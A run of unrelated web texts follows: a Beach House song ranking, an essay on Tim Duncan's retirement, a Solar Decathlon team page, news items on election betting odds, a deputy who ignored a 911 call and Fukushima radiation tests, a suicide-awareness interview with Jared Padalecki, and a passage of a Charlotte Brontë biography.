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I recall the time I listened to my first ever Beach House song (the first track off Teen Dream which would also be the very first introduction for a lot of BH fans). It was in December of 2015 (Yes, I caught on late), and I was in class, using whatever spare minutes of a break to just try out this established dream pop sensation that everyone was raving over.
I remember how overpowering and overbearing the track felt to me at first listen, and eventually I put it down after a few tries – I could not for the life of me get into it at all. This was a track I thought I just hated! It felt overly-produced, and made me queasy with it’s fullness.
A month passed, and gradually I grew towards the rest of the tracks on Teen Dream. How couldn’t I?
I started to look at Zebra in a different light and started to appreciate it’s sonic textures and purpose. It was also a time when I started to look at music in general within the confines of context. Eventually the lines grew less blurry, and I started to fall head over heels. This arching cavalcade of a track had an enviable, invincible quality about it – plowing down everything in it’s path and inch by inch feeling all the more invigorating. Beach House are relatively famed for their great openers “Saltwater/Wedding Bell/ Myth/ Levitation”, but Zebra was their most important.
9. “Myth” (from Bloom, 2012)
You can’t keep holding on / To all that’s dead and gone
What should a band do after releasing their best-selling dream-pop classic? Some bands reinvent themselves, taking experimental risks – with some paying off and others falling quite short in the run up. 2012’s Bloom wasn’t far off in style or structure from it’s predecessor and instead looked towards building upon that formula. This was a retaking of Teen Dream, an expansion on that set of work, refining a trademark with (arguably) better songwriting. Then, following up that blueprint with more nuance and experience – building another unbelievable set of highs encompassing just over 60 minutes of orgastic audio.
Myth, (probably the band’s most recognizable tune and widely touted as the #1 track you introduce BH to a friend with) is a straightforward, no BS, dream-pop banger, replete with an iconic E-major/C minor chord progression on keys and a wailing, unstoppable electric guitar solo. But beyond that, it’s an opening statement very well in the confines of Zebra, with Legrand belting out lines of “myth building” and “hanging on” to the past, all while displaying the purpose behind a feeling in their music as “universal connections” to their listeners.
“We wrote a lot about the power of imagination. I want people to feel how it makes them feel. You get older and you realize that everything changes, that nothing lasts. But that also makes being in the moment and having the experience that much more meaningful.”
– Victoria Legrand (off Genius)
8. “D.A.R.L.I.N.G” (from Devotion, 2008)
Where did you come from/ You’re no… stranger
There was a poll on the /r/indieheads subreddit not too far back on the community’s titled “Top Ten Beach House Tracks”, with a pretty funny comment stating “RIP Devotion, best album of all time 2008-2016 RIP” – in response to not a single track from that 2008 record making it on to the list, with many rationalizing the recency and more straightforwardness appeal of Depression Cherry, Teen Dream, and Bloom.
There’s a certain subtlety in Devotion that takes awhile to manifest and shine when you’re comparing it to other BH albums in the discography. It’s awfully skeletal and “quiet” to a certain extent but can be affecting and engaging as well. It houses a dark and deep seated energy which is reflected in Scally’s guitar-riffs and Victoria’s vocals – sounding more purposefully despondent than ever. Personally, I see it as a ruminative and serene meditation on heartbreak and unrequited love (which you could state follows in the reins of the S/T) with tracks like Turtle Island and Home Again espousing a type of loneliness that’s so downtrodden and depressing, enabling the band to posit a certain type of empathy and humanity in their music.
D.A.R.L.I.N.G is that uplifting, fairytale ending to that period of turgid nihilism. And maybe that’s why it’s so memorable. It’s a savior. It’s romanticism turned eleven.
7. “Saltwater” (from Beach House, 2006)
Love you all the time even though you’re not mine / Dream I’m in the saltwater
Saltwater trudges among pretty similar territory as the entry that just came before it.
With it’s oscillating drum machine loop and fervent lyrics on an unanswered love, Saltwater feels like you’re being in a submarine shaped time machine, burrowing through the course of an unspoken spiritual sea, with every dive a more tantalizing peek behind the veil of mystery that is Beach House, only to see the buried emotional treasure chest in full, luminous view, feeling every line of longing and heartache off Legrand’s solitary bellow. “You couldn’t lose me if you tried/ Cause I’ll be rolling to your side, baby”
6. “Silver Soul” (from Teen Dream, 2010)
We gather medicine for heartache/ So we can act a fool
Yes, the Twin Peaks reference and the fact that the track played in reverse forms the main beat of Kendrick Lamar’s Money Trees are both great, with the fact that there’s mystery lyrics Scally sings that they’ve refused to reveal even better, but all that shouldn’t take away from the fact that… this is a genuinely great f*cking song. Legrand’s deep and embellishing bellows “It is happening again/ It is happening again” supplemented with those vocal harmonies and a dripping guitar line picked back and forth add up to a penetrating, muscular wall of sound – glimmering with majesty and absolute beauty.
5. “Master of None” (from Beach House, 2006)
You always go to the parties/ To pluck the feathers of all the birds
Sometimes to appreciate the complexities of a band’s musicianship and evolution arc, you’ve gotta go back to the roots. Master of None is a playful, sweet-hearted ballad of wit that’ll probably go down as one of the catchiest tracks (and vocal melodies) of the duo’s highlighted tenure.
This was, in a sense – Beach House’s first pop song, which is an important necessity in providing a sort of balance with their deep cuts. It turned the spotlight on full throttle towards the group’s most endearing qualities – in songwriting personality, in intention-ed composition and in nuanced, authentic feeling. That dual drum hit, those quirky upbeat keys, that melancholic guitar riff bouncing around, and a mildly staccato vocal melody is pure fun.
4. “10 Mile Stereo” (from Teen Dream, 2010)
Bright Pyramids at night, they carry on Foreveeeeeeeeeeer
If you take away the intention, you lose the feeling, the power, the grit and the appeal. There’s no phoning in here. Every resounding guitar loop, bass drum frolic and keyboard chord act towards building an emotion. On 10 Mile Stereo, everything is a directed and potent attempt at cultivating the world’s most powerful song. With every step forward, that feeling is brighter and more convincing.
As Scally describes in an interview about the differences between Teen Dream and it’s predecessor, he speaks about the latter’s raw aesthetic and an artistic need to move towards something new instead – with that being recording in a “real studio”, envisioning the music to be a “giant crystalline panoramic soundscape.” On 10 Mile Stereo, they meet and surpass every goal with grueling intensity.
3. “The Hours” (from Bloom, 2012)
Frightened eyes, looking back at me/ Change your mind, don’t care about me
We’re willing to go out on a limb and call this their most underrated track. It’s a blitz of deliciously carved arpeggios, captivating lullaby-esque melodies and is just a straight up stunner.
It’s a really succulent banger, with a hell of an infectious chorus, and even more incredible bridge “It’s deeper than you and me/ It’s farther than you can see.” And more so, the track narratively focuses on a dilemma of confession – to make the brave step, to have heart, to understand that love is ultimately complex, and can be communicated in more ways than one.
It begins with a nervous wander, where the narrator contemplates profession, and it’s then coupled with some fable-like imagery. She’s“climbing up to the towers” only to meet some tensions of “violence in the flowers”, and “a pair of frightened eyes looking back at me”. One of them has gone “mad in (their) intentions” and is now “fear(ing) it isn’t real.”
This is all culminated with the narrator projecting that the circumstance is “deeper than you and me”, with the line repeated in the outro, but instead taking on an immediate, different meaning over a repeated chorus (of Frightened eyes) that comfortingly juxtaposes her subject’s fear, the reassurance serving up to be a very special moment.
2. “Walk in the Park” (from Teen Dream, 2010)
The face that you see in the door/ Isn’t standing there anymore
Everything’s just working on such a supreme level here, the connection and level of understanding between the hopping keys and that electric guitar riff is so masterful and unreal that it matures during the duration of the track. It then supersedes to a chorus where it feels like the guitar and Legrand are actually taking turns – singing off each other. “In a matter of time it would slip from my mind/ In and out of my life you would slip from my mind ”
The story chronicles the loss of a connection and how you move on from that romance with a verse driving a dagger inside your abstract perfect world, killing it “The world that you love to behold/ Cannot hold you anymore”. There’s also a pretty infamous and insane music video that comes along with it – perhaps mirroring the absurdity and fallibility in love’s uncertainty.
Whatever happens, we think this will stand the test of time and go on to be one of Beach House’s all-time greats.
1. “Take Care” (from Teen Dream, 2010)
I’ll take care of you if you asked me to/ In a year or two
If there was ever a musical embodiment of Beach House, this is it. It’s not just a moving piece that encapsulates the strengths and philosophy of a Beach House tune, but it’s an evocative encore, a closing statement that bears an assured but understanding nature – Legrand’s belting out “I’ll take care of you, if you want me to” with some ever-pleasing adorable “bom, bom, bom, bom, bom’s” just trickling under.
Mentioned in a Rolling Stone review aptly – their music is a “purer vision on the realities of love.” This one is as clear as it can be as it cascades into a grand and wide open future.
Also the film Blue Is The Warmest Colour had a pretty memorable trailer using the track, and it’s a really good visual fit in terms of conveying that mood and feeling.
Responding to a comment about the perfection as the ending on the album off an Artist Direct interview, Legrand had this to say:
“That song is definitely in its right place at the end. I think it’s definitely an intense song. The way that it keeps going until it leaves you or you leave it, means a lot about the future. This record is not a nostalgic record, necessarily. It’s not just melancholic. It’s not just languid. It’s other things, and I think as much as it has more sexuality in it perhaps, it still has darkness in it of course. I’m sure there’s still heartbreak. I think there’s a little future in it. That’s something that I don’t think we played with before. I always compare it to the energy of “10 Mile Stereo.” It’s lancing you into something new or exciting. It was giving us an energy that propelled us forward.”
And so this bit of commemoration ends.
There are a number of lists out there, but we wanted to collate an updated and pretty comprehensive one in this, in which it reflected more similarly to that of a community that held their music more closely to their heart. It was really great to do, but now we await any new chapters of their music we hope we’ll be seeing in the future. And hey! There’s a new Beach House record coming out next week, and that’s to be treasured.
Again, one of the most interesting things in music is the power of interpretation, so feel free to tell us your own list in the comments section below~
Calling all vinyl records collector out there! Want to share & showcase your records collection with our community? Download #vinyloftheday marketplace app to start sharing, discover great music or even start buying vinyl records & selling vinyl records via
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Android http://cratedig.us/androidI was watching Tim Duncan highlight videos this weekend and a thought occurred to me that I suppose I’d thought about obliquely before but had never fully confronted. It’s going to sound dumb when I tell you what it is because it’s obvious, but here it is: Tim Duncan has gotten old. Pretty old. Very old, even. At least for a basketball player, anyway. Tim Duncan is 40.
I knew that before but I know it now. I’ve been watching Duncan play basketball for nearly two decades. I’m from San Antonio, and I was living there when he was drafted. A couple of years later, when I went off to college in a different city, my dad started buying me NBA League Pass each year as a Christmas present so I could watch the Spurs play. When I moved to Houston after college, I started buying League Pass for myself. I’m not certain how many times I’ve watched Duncan play basketball. It hasn’t been every game, but it’s been a lot. He’s played something like 1,600 games total if you count the playoffs. I’m guessing I’ve seen him play, in one form or another, around 1,200 of them these past 19 years.
Which is to say I guess I’ve always had such a close-up look at him that I rarely ever stepped away to take a macro-level view of him, or his career, or his legacy. When you have kids you don’t really notice or think about how much they’ve grown because you’re with them every day. One day your baby is a baby and the next day it’s 13 years later and it’s just like, "Oh, fuck, you’re as tall as I am. What happened?" That’s what it felt like when I was watching those highlight videos. They were all these clips stitched together from his first five or six years in the league, when he was springy and agile and quick and elastic. He looked the same, but like a different person entirely. I only ever watch the current version of Duncan play, so I guess all of my memories of him got retrofitted to match the current version of him. Does that make sense? It feels like it makes sense. I don’t know. Am I rambling? I feel like I’m rambling. Fuck, man. Tim Duncan is retiring.
This is heartbreaking but also beautiful but also devastating but also wonderful but also torture but also art but also very hard to deal with but also fantastic and cathartic, as closure tends to be.
Tim Duncan is retiring.
I’m going to miss him so much.
My first memory of Tim Duncan is from 1997. It’s of my dad telling me that the Spurs were going to draft him and then making a joke about how he was going to be a surefire success because his name sounded so much like "dunking," which could not have been an accident. "The Flash was called the Flash because he was fast, son," he probably said. "The Incredible Hulk was called the Incredible Hulk because he was incredible and because he was a hulk. All superhero origin stories are obvious in retrospect."
My dad started taking me to Spurs games when I was 5. When I got older I always wondered if he felt extra pressure for the Spurs to win because he’d made me a Spurs fan and he wanted me to be happy. That’s what I feel when I watch Spurs games with my sons, whom I’ve made Spurs fans. I’ve never asked him to answer that question, though. I probably never will. I wonder if my sons will ask me?
I remember watching in 1999 when Latrell Sprewell missed that fadeaway jumper over Tim and David Robinson in Game 5 and the Spurs won their first title. My dad and I were in the front room of our house on the southwest side of San Antonio. As soon as the buzzer sounded — LITERALLY AS SOON AS IT SOUNDED — he ran outside and started honking the horn on his truck over and over again. I didn’t know if that was how you were supposed to celebrate a championship or not; I just know other people in the neighborhood started doing it, too. And then after a minute or so it felt like (and sounded like) everybody was doing it. It was just a whole bunch of horns being honked by a whole bunch of Mexicans. That was the first time I understood that people could be truly tied together by sports, and that San Antonio was tied together by basketball.
Prior to that moment, San Antonio had never won anything that big. It felt like the city had never won anything at all. The Spurs were the only men’s professional sports team in the city (and still are), and in the years before that the conversation around them was always about how they couldn’t win. Then they won and you didn’t hear that much anymore. After 2003 and then 2005 and then 2007 and then 2014, you definitely didn’t hear it. You mostly just heard car horns.
I ’m glad Duncan didn’t retire after the Spurs won the 2014 championship. I thought he was going to, and maybe he should have — if not for his evaporating game then because hanging it up right there and then would have made for a tidy story:
He became the first player in the history of the league to start on a championship team in three different decades.
Duncan, Tony Parker, and Manu Ginobili became the winningest Big Three in NBA playoff history.
It looked as though the Spurs had perfected team basketball; or, rather, solved basketball, a seemingly impossible goal we’d all watched them try to chase down all decade.
Consider this: They had the highest positive scoring margin of any Finals matchup ever, and also the highest field goal percentage, while their highest-scoring player (Parker) averaged fewer points than any other scoring leader on a championship team (17.4). But nothing was more surreal than this:
They’d erased the Game 6 nightmare from the year before (when Ray Allen and the Heat snatched the championship rings off their fingers and also all my emotions out of my soul). More than that, they’d turned that horrifying memory into something cool, a gruesome wound that healed into an intimidating battle scar. Allen hitting that 3 transformed from a historical marker of pain to a symbol of resilience and fortitude, the accelerant for the greatest, most fulfilling season in the history of the franchise.
So it would’ve been an easy story to write if Duncan had decided that that was the ending he wanted. But he didn’t. Because it wasn’t. And I’m glad that it wasn’t. Retiring after winning a title is like taking a bath with your spouse: It sounds like a good idea before you do it, and it always looks dope in movies, but it never ends up being as romantic as you’d hoped. You mostly end up just sitting there talking about how you never realized how small the tub is.
Duncan spent his whole career trying to win. So that’s how I thought his career should end. I wanted him to try to win and try to win and try to win and then finally not be able to. And that’s where we are right now. He died on his shield in the 2016 playoffs. It’s exactly the right thing.
There’s a way to be pretentious and philosophical about this. Duncan’s legacy will forever be told in gradations, in subtle genius, in the moments between the championships and the awards and the accolades and the overwhelming stats; Duncan being a winner meant that San Antonio was a winner, and San Antonio being a winning city meant that the people who lived there (and live there) got to feel (and get to feel) like winners. That is a very powerful feeling that an athlete can put in a person’s heart. Maybe Duncan aging into basketball folklore means I’m aging into obsolescence and darkness. That’s terrifying. But that’s not the point right now. The point is this:
Tim Duncan is retiring. He’s really retiring. He’s really actually retiring. Next October, when the new NBA season begins — for the first time in 20 seasons, for the first time in more than half of my life — Timothy Theodore Duncan will not be there.
I’m going to miss him so much.Team Réciprocité, a partnership between Université d’Angers (UA) and Appalachian State University (Appalachian State), is the most recent partnership highlighting the thirty-year trans-Atlantic relationship between the two universities. To date, more than 500 students have been involved in this project with an overall goal of 1,000 through classes, internships and volunteering.By integrating the Solar Decathlon into existing curricular offerings over the course of the spring 2013 semester through summer 2014, the team will maximize the opportunity for a large number of graduate and undergraduate students to work on the project in both classroom and laboratory settings, strengthening the relationship and the potential for future exchanges.
Team Réciprocité is one of only three U.S. schools chosen to compete in Solar Decathlon Europe 2014.
Team Réciprocité is the only team entered in Solar Decathlon Europe 2014 without an accredited architecture or engineering program.
Team Réciprocité operates without any government subsidy; all funds are raised by students, faculty and staff.
Team Réciprocité incorporates courses from across 26 different disciplines between both universities.
The Competition
Originating in 2002, the Solar Decathlon was created by the U.S. Department of Energy as a competition to challenge collegiate teams to design and build a home exclusively powered by solar energy while utilizing innovative energy technology and sustainable architecture. Solar Decathlon Europe was created in 2010, its second bi-annual competition will be held in Versailles, France in July of 2014. Twenty teams from 16 different countries and four continents will be judged in ten categories:
Innovation
Sustainability
Architecture
Engineering & Construction
Energy Efficiency
Electrical Energy Balance
Comfort Conditions
House Functioning
Communications & Social Awareness
Urban Design, Transportation& Affordability
For more information about the competition, visit http://www.solardecathlon2014.fr/en
Design Philosophy
“Tree is leaf and leaf is tree. House is city and city is house. A tree is a tree but it is also a huge leaf. A leaf is a leaf but it is also a tiny tree. A city is not a city unless it is a huge house. A house is a house only if it is also a tiny city.”
-Aldo van Eyck, architect and humanist thinker
Why Reciprocity? In an increasingly interconnected world, the search for stability and the inevitability of change are realities in the contemporary built environment. Inspired by natural ecosystems, which foster a collective equilibrium between individual parts through interaction and exchange, Team Réciprocité strives for a building solution that seeks balance between aesthetics and performance, design and construction, spaces and systems.
Key Messages
Ecologically, economically and socially maintainable communities are important for creating a sustainable future.
Sustainable communities and lifestyles produce energy, investment, and jobs to a community while promoting healthy and efficient living spaces.
Maison Reciprocity will serve as a market-ready model for the future development of other communities by creating involvement through an adaptable, dynamic, living system.
The 24-hour, community-centric neighborhood creates a strong and safe neighborhood for a walkable, transit-friendly community that is easily accessible and enjoyable.
Design Features Integrated Systems CHORD
The Integrated Systems CHORD, defined as the Container for High performance Operation, Recirculation, and Distribution, is the unified systems core of Maison Reciprocity. The CHORD integrates building systems as the proverbial heart of the building – in design, in construction, and in day-to-day use – without any unnecessary stylistic veneers or attempts to conceal them architecturally. These small, modular structures house all plumbing, mechanical heating, ventilation, and air-conditioning components, as well as appliances for various building systems.
One of the advantages of this systems core approach is that it provides Team Réciprocité with a package of building services ready to function immediately after unloading at the competition site. This efficient layout permits a higher control tolerance for performance, allowing the team to fully optimize system performance. Locating all appliances within the CHORD provides an opportunity to capitalize on appliance thermal fluid energy exchange. This thermal energy exchange includes refrigerator and hybrid water heater air-to-air exchange, as well as a unified greywater heat exchanger that preheats domestic hot water by scavenging heat from the wastewater. CHORDs are also programmed to provide building integrated charging stations for electric vehicles or serve as standalone carriage houses.
Living Brise-Soleil
The “living” brise-soleil is a sophisticated, modular building shell that architecturally integrates renewable energy technologies on the exterior of Maison Reciprocity. Using lightweight framing components, the living brise-soleil is conceived as a lattice-like grid that wraps the exposed surfaces of the building in a secondary envelope, or skin. By shading outdoor living areas, the living brise-soleil offers inhabitants both privacy and comfort through intelligent controls that optimize the amount of shading for both indoor and outdoor spaces. In addition, this system protects the primary building envelope by acting as a rain/sun screen that reduces thermal gain on the façade. Reduced thermal gain minimizes energy demand and consumption, allowing Maison Reciprocity to regulate the interior environment more effectively. As required by dictates of climate conditions or solar orientation, this shell combines building integrated photovoltaic panels, living wall planters, shading devices, and open cells into a customizable matrix of standard building components to maximize efficiency and performance.
Seen above is the rendering of our final project you will receive upon a donation of $125 or more!
Any Further questions? Please email us at the following address: [email protected]
Rethink. Relive. Reimagine.Hillary Clinton's odds of becoming the next President of the United States have been cut by bookmakers following Monday night's first televised election debate.
The New York debate saw Democratic presidential nominee Mrs Clinton and Republican presidential nominee Donald Trump clash over race, the Iraq War and jobs in a feisty 90-minute televised showdown, and political punters appear to believe Clinton won on the night.
Following the TV debate, the Democrat has seen her price contract significantly into 4/9 (from 8/13) with bookmakers, who on Tuesday reported "sustained support", which includes a £5,000 wager placed during the early hours of Tuesday morning.
Meanwhile, Trump's odds have drifted out to 7/4, which equates roughly to a 34% chance of entering the White House, having dropped from 42% prior to the duel.
Ladbrokes spokesperson Jessica Bridge told Bettingpro.com: "The market has moved heavily in favour of Clinton and high-staking punters are back throwing their weight behind the Democratic candidate."
Ladbrokes latest betting - 2016 US Presidential Election
Hillary Clinton 4/9
Donald Trump 7/4Heart attack victim Gwendolyn Minnis (WZVN/Screencap)
A Florida sheriff’s deputy has been fired after an investigation showed that he ignored a 911 call from a woman having a heart attack so that he could finish his pizza lunch, according to WZVN.
Lee County Sheriff Mike Scott fired Yvan Fernandez following an Internal Affairs report that showed that the deputy acknowledged the emergency call from dispatch before returning to his pizza, even though he was not on an official meal break at the time.
According to friends of the victim, Gwendolyn Minnis, 48, she had recently been released from the hospital after having a heart attack.
Police believe she called 911 to report another heart attack on March 13, with dispatch sending out a call for an officer to respond after the line went dead.
The report states that Fernandez was having lunch with three other deputies at Raider’s Pizza and Wings when he first took the call, responding to a second call from dispatch 8 minutes later, telling the dispatcher “copy.”
Fernandez then reportedly went back to eating his lunch before passing off the call to another deputy 30 minutes later.
Deputies arrived at the home where Minnis was staying, 53 minutes after the initial call, to find the woman lying in her walkway unconscious with the phone next to her. She later died.
The report also noted that Fernandez was not on an official meal break at the time of the call. Had he been on a break, another officer would have been assigned to the call by dispatch.
Speaking with reporters, Sheriff Scott placed the blame solely on Fernandez, saying, “Could we have saved this lady? I’ll never be able to answer that question. Would getting there quicker have hurt anything? Of course not.”
Watch the video below from WZVN:
ABC-7.com WZVN News for Fort Myers, Cape CoralTraces of caesium-134 and 137 isotopes found in urine tests on 10 children in city near stricken nuclear power pant
Trace amounts of radioactive substances have been found in urine samples taken from children from Fukushima city, raising concerns that residents have been exposed internally to radiation from the stricken nuclear power plant 37 miles (60km) away.
Tests were conducted in May on 10 children, aged between 6 and 16, by a Japanese civic group and Acro, a French body that measures radioactivity. All 10 tested positive for tiny amounts of caesium-134 and caesium-137.
The chief cabinet secretary, Yukio Edano, said he was concerned by the findings and the government would thoroughly examine the results.
The Fukushima network to save children from radiation said it was certain the readings were due to radiation leaks from the power plant, where workers are still struggling to stabilise reactors that suffered core meltdowns after the 11 March earthquake and tsunami.
Acro's president, David Boilley, said the results suggested a strong likelihood that children living in or near Fukushima city had been exposed to radiation internally.
According to the survey, 1.13 becquerels of caesium-134 per litre of urine were found in an eight-year-old girl – the highest reading for that isotope. The highest reading for caesium-137 – 1.30 becquerels – came from a seven-year-old boy, Kyodo news agency said.
Richard Wakeford, an expert in radiation exposure at the Dalton Institute in Manchester, said he was not surprised that caesium had been found in Fukushima city residents, given the distance and direction the radiation plume had travelled. "What we're seeing here is residual caesium that will be around for quite a while," he said.
"But, given the circumstances, the levels quoted in the survey are not particularly alarming."
Wakeford said ingestion could be prevented by avoiding contaminated food and milk, but added that produce contaminated at levels acceptable to the government would inevitably go on sale.
The discovery came days after health authorities in Fukushima began checking internal radiation doses among all 2 million of the prefecture's residents, a 30-year project that will cost an estimated 100bn yen (£777m).
In separate tests, radioactive caesium and iodine were found in the urine of 15 residents from two towns located 19 to 25 miles from the Fukushima Daiichi plant. While none had exceeded the maximum allowable dose of 20 millisieverts a year, experts voiced concern over the presence of caesium-137, a byproduct of nuclear fission with a half-life of 30 years.
"This won't be a problem if they don't eat vegetables or other contaminated products," Nanao Kamada, professor emeritus of radiation biology at Hiroshima University, told reporters. "But it will be difficult for people to continue living in these areas."
From September tens of thousands of children living in Fukushima city are to be given dosimeters to measure their exposure to atmospheric radiation. Environmental groups have called for pregnant women and children to be evacuated from the city. Children are thought to be at greatest risk because they have more time to develop thyroid and other cancers.
"At least parts of the population that are sensitive need to be evacuated, and the remaining people who decide to stay for various reasons need to be given proper support and information," said Jan Beranek, head of Greenpeace's energy campaign.
Wakeford said: "I wouldn't say immediate evacuation is required because this is not a sudden burst of radiation. It's long-term, protracted exposure. The Japanese government's biggest problem is deciding on what kind of external levels of exposure are acceptable once the crisis has moved out of the emergency phase."Jared Padalecki Explains What Inspires Him to “Always Keep Fighting” By To Write Love on Her Arms
Although Jared Padalecki just launched his Represent campaign last week, the “Supernatural” actor has already sold more than 24,500 T-shirts and sweatshirts. In this Q&A, we wanted to give Jared a chance to explain why he chose to support TWLOHA and what he wishes he could say to those struggling with thoughts of suicide.
TWLOHA: Why did you choose to support TWLOHA? Can you share how you first heard about us?
JARED: When I first decided to do this T-shirt campaign through the Represent company, I knew that I wanted to work with a charity (or charities) that dealt with the specific issues of mental illness, depression, addiction, and suicidal thoughts. There are a lot of wonderful charities out there that are tackling this issue head-on: Attitudes In Reverse, Wounded Warrior, and, obviously, To Write Love on Her Arms. After a bit of further research and reading, I decided that I wanted the majority of the money to go to TWLOHA (though I do intend to make donations to WW, AIR, and to a fund in the name of my friend, Matt Riley, who died by suicide on New Year’s Eve).
TWLOHA: Where did the inspiration for your “Always Keep Fighting” design come from?
JARED: The actual words on the shirt were a bit more difficult to commit to. We toyed with “never give up,” “never stop fighting,” “keep your head up,” and all sorts of iterations of the same message. I guess what ultimately made me settle on “Always Keep Fighting” was that I felt it was a proactive approach to these issues. “Never give up” or “never stop fighting” seemed (to me, at least) to have a bit of a negative connotation. Maybe it’s the word “never”? Whatever the reason, those slogans seemed to put the individual in a defensive position. I think these issues need to be tackled and dealt with head-on. For those who struggle, these things might not ever fully go away. THAT is why I think it’s important to acknowledge, to yourself, that you are in a fight. And, that’s OK. There are some lucky folks out there who don’t struggle with these issues, and I am truly happy for them. But, for those that do, it’s important to approach each day with the mindset of, “This might not be easy, but I am going to give it everything I’ve got.”
TWLOHA: If you could see anyone in one of your “Always Keep Fighting” shirts, who would it be and why?
JARED: I would love to see EVERYBODY in one of these shirts! Hah. Honestly, while it would be tremendous to see public figures wearing this shirt and sharing this message, I made it for the people out there who might sometimes feel like they are fighting this fight alone. I really went into this with the hope that people who are struggling would connect with it. So, I guess, I’d like to see somebody random wearing this shirt. Someone in an airport. At a restaurant. Walking down the street. I’d love to see them wearing this shirt, and then I’d love to go give them a hug and tell them I admire them and their strength and hopefully get to hear a little bit about them.
TWLOHA: What’s the scariest thing Sam Winchester has had to fight on “Supernatural”? How does that compare with what you have had to fight in your life?
JARED: Funnily enough, I feel like Sam struggles with the issues of depression and self-doubt. He also has, literally, tried to end his own life. In the Season 8 finale, Dean tells Sam that if he goes through with something then Sam will die, and Sam’s response is, “So?” That was a very powerful moment for me. I read it, and it made me cry literal, actual tears. I knew people who had that feeling. I, personally, had had that feeling. I think Sam understands that the most difficult or scariest fights aren’t the physical ones and that the scariest thing you can encounter is your own mind. Luckily for us (and for me, so that I can still have my job!), Sam has been able to persevere and stick around. But NOT without a little help!
TWLOHA: You wrote on your Represent campaign page that you’ve lost several people to suicide. If you could say one thing to someone who is struggling with depression or thoughts of suicide, what would it be?
JARED: I think people who are dealing with severe depression or having suicidal thoughts often believe that the world would be better without them in it and that the people around them would be “relieved.” I wish I could tell them that they are mistaken. It’s extremely painful to lose somebody to suicide. The pain and the questions don’t really ever leave. I still can’t talk or think about my most recent encounter without breaking down. To those who are struggling with suicidal thoughts, I would beg them to continue their brave struggle, and I would implore them to
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dullest evenings [Mrs Procter] had ever spent in her life... the ladies who had all come expecting so much delightful conversation, and the gloom and the constraint, and how finally, overwhelmed by the situation, my father had quietly left the room, left the house, and gone off to his club.[26]
Brontë's friendship with Elizabeth Gaskell, while not particularly close, was significant in that Gaskell wrote the first biography of Brontë after her death in 1855.
Villette [ edit ]
Brontë's third novel, the last published in her lifetime, was Villette, which appeared in 1853. Its main themes include isolation, how such a condition can be borne,[27] and the internal conflict brought about by social repression of individual desire. Its main character, Lucy Snowe, travels abroad to teach in a boarding school in the fictional town of Villette, where she encounters a culture and religion different from her own, and falls in love with a man (Paul Emanuel) whom she cannot marry. Her experiences result in a breakdown but eventually she achieves independence and fulfilment through running her own school. A substantial amount of the novel's dialogue is in the French language. Villette marked Brontë's return to writing from a first-person perspective (that of Lucy Snowe); the technique she had used in Jane Eyre. Another similarity to Jane Eyre lies in the use of aspects of her own life as inspiration for fictional events; in particular her reworking of the time she spent at the pensionnat in Brussels. Villette was acknowledged by critics of the day as a potent and sophisticated piece of writing although it was criticised for "coarseness" and for not being suitably "feminine" in its portrayal of Lucy's desires.
Marriage [ edit ]
Before the publication of Villette, Brontë received an expected proposal of marriage from Arthur Bell Nicholls, her father's curate, who had long been in love with her. She initially turned down his proposal and her father objected to the union at least partly because of Nicholls's poor financial status. Elizabeth Gaskell, who believed that marriage provided "clear and defined duties" that were beneficial for a woman, encouraged Brontë to consider the positive aspects of such a union and tried to use her contacts to engineer an improvement in Nicholls's finances. Brontë meanwhile was increasingly attracted to Nicholls and by January 1854 she had accepted his proposal. They gained the approval of her father by April and married in June. Her father Patrick had intended to give Charlotte away, but at the last minute decided he could not, and Charlotte had to make her way to the church without him.[33] The married couple took their honeymoon in Banagher, County Offaly, Ireland.[34] By all accounts, her marriage was a success and Brontë found herself very happy in a way that was new to her.
Death [ edit ]
Brontë became pregnant soon after her wedding, but her health declined rapidly and, according to Gaskell, she was attacked by "sensations of perpetual nausea and ever-recurring faintness".[35] She died, with her unborn child, on 31 March 1855, three weeks before her 39th birthday. Her death certificate gives the cause of death as tuberculosis, but biographers including Claire Harman suggest that she died from dehydration and malnourishment due to vomiting caused by severe morning sickness or hyperemesis gravidarum. Charlotte Brontë was buried in the family vault in the Church of St Michael and All Angels at Haworth.
The Professor, the first novel Brontë had written, was published posthumously in 1857. The fragment of a new novel she had been writing in her last years has been twice completed by recent authors, the more famous version being Emma Brown: A Novel from the Unfinished Manuscript by Charlotte Brontë by Clare Boylan in 2003. Most of her writings about the imaginary country Angria have also been published since her death. In 2018, The New York Times published a belated obituary for her.[36]
Religion [ edit ]
The daughter of an Irish Anglican clergyman, Brontë was herself an Anglican. In a letter to her publisher, she claims to "love the Church of England. Her Ministers indeed, I do not regard as infallible personages, I have seen too much of them for that-but to the Establishment, with all her faults-the profane Athanasian Creed excluded-I am sincerely attached."[37]
In a letter to Ellen Nussey she wrote:
If I could always live with you, and "daily" read the [B]ible with you, if your lips and mine could at the same time, drink the same draught from the same pure fountain of Mercy-I hope, I trust, I might one day become better, far better, than my evil wandering thoughts, my corrupt heart, cold to the spirit, and warm to the flesh will now permit me to be.[38]
The Life of Charlotte Brontë [ edit ]
Portrait by J. H. Thompson at the Brontë Parsonage Museum
Elizabeth Gaskell's biography The Life of Charlotte Brontë was published in 1857. It was an important step for a leading female novelist to write a biography of another, and Gaskell's approach was unusual in that, rather than analysing her subject's achievements, she concentrated on private details of Brontë's life, emphasising those aspects that countered the accusations of "coarseness" that had been levelled at her writing. The biography is frank in places, but omits details of Brontë's love for Héger, a married man, as being too much of an affront to contemporary morals and a likely source of distress to Brontë's father, widower, and friends. Mrs Gaskell also provided doubtful and inaccurate information about Patrick Brontë, claiming that he did not allow his children to eat meat. This is refuted by one of Emily Brontë's diary papers, in which she describes preparing meat and potatoes for dinner at the parsonage.[41] It has been argued that Gaskell's approach transferred the focus of attention away from the 'difficult' novels, not just Brontë's, but all the sisters', and began a process of sanctification of their private lives.
Héger letters [ edit ]
On 29 July 1913 The Times of London printed four letters Brontë had written to Constantin Héger after leaving Brussels in 1844. Written in French except for one postscript in English, the letters broke the prevailing image of Brontë as an angelic martyr to Christian and female duties that had been constructed by many biographers, beginning with Gaskell. The letters, which formed part of a larger and somewhat one-sided correspondence in which Héger frequently appears not to have replied, reveal that she had been in love with a married man, although they are complex and have been interpreted in numerous ways, including as an example of literary self-dramatisation and an expression of gratitude from a former pupil.
In 1980 a commemorative plaque was unveiled at the Centre for Fine Arts, Brussels (BOZAR), on the site of the Madam Heger's school, in honour of Charlotte and Emily.[44] In May 2017 the plaque was cleaned.[45]
Publications [ edit ]
Juvenilia [ edit ]
The Young Men's Magazine, Number 1 – 3 (August 1830)
(August 1830) The Spell
The Secret
Lily Hart
The Foundling
The Green Dwarf
My Angria and the Angrians
Albion and Marina
Tales of the Islanders
